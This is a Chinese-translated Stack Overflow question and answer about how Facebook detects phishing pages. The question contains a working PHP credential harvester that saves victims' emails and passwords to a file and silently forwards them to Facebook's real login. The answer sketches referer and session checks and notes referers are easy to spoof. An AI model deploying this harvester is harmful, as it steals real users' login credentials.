首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Facebook网络钓鱼检测

Facebook网络钓鱼检测
EN

Stack Overflow用户
提问于 2014-10-31 13:54:27
回答 1查看 2.4K关注 0票数 1

我正在做一个关于计算机安全的小任务,我现在正在做网络钓鱼的工作。

因此,为了教育目的,我写了一个简单的“网络钓鱼网页”,我试图了解Facebook是如何检测网络钓鱼欺诈网页的。

我的index.html是facebook主页,而我编辑它是为了将用户重定向到phishing.php页面。

phishing.php

代码语言:javascript
复制
<?php
$file = fopen('phishing.txt', 'a');
fwrite($file, 'M: '.htmlspecialchars($_POST['email'])."\nP: ".htmlspecialchars($_POST['pass'])."\n\n");
fclose($file);
?>

<form action="https://www.facebook.com/login.php?login_attempt=1" method="post" name="frm">
<?php
    foreach ($_POST as $a => $b) {
        echo "<input type='hidden' name='".htmlentities($a)."' value='".htmlentities($b)."'>";
    }
?>

</form>
<script language="JavaScript">
    document.frm.submit();
</script>

我的问题来了。除了用户(我)输入用户名和密码外,一切正常,Facebook说:

安全通知:为了您的安全起见,不要在未位于Facebook.com上的网站上输入Facebook密码

那么Facebook使用哪种机制来检测像这样的钓鱼页面呢?

谢谢!

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2014-10-31 14:02:37

我可以想出很多方法来做到这一点

方法一:HTTP引用程序

在发送的每个HTTP请求中,都会发送一个引用程序,以指示您来自何处,facebook只需执行以下操作

代码语言:javascript
复制
$referer = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if($referer != 'facebook.com') // Phishing

方法二:会话

例如,Facebook可以在他们的index.php页面上启动一个会话,一旦提交登录表单,就会检查该会话。

代码语言:javascript
复制
index.php
$_SESSION['coming_from_facebook'] = true;

login.php
if($_SESSION['coming_from_facebook'] != true) // Phishing

这是所有的psuedo代码,第一种方法很容易绕过,因为用户可以修改引用。

票数 3
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/26676390

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档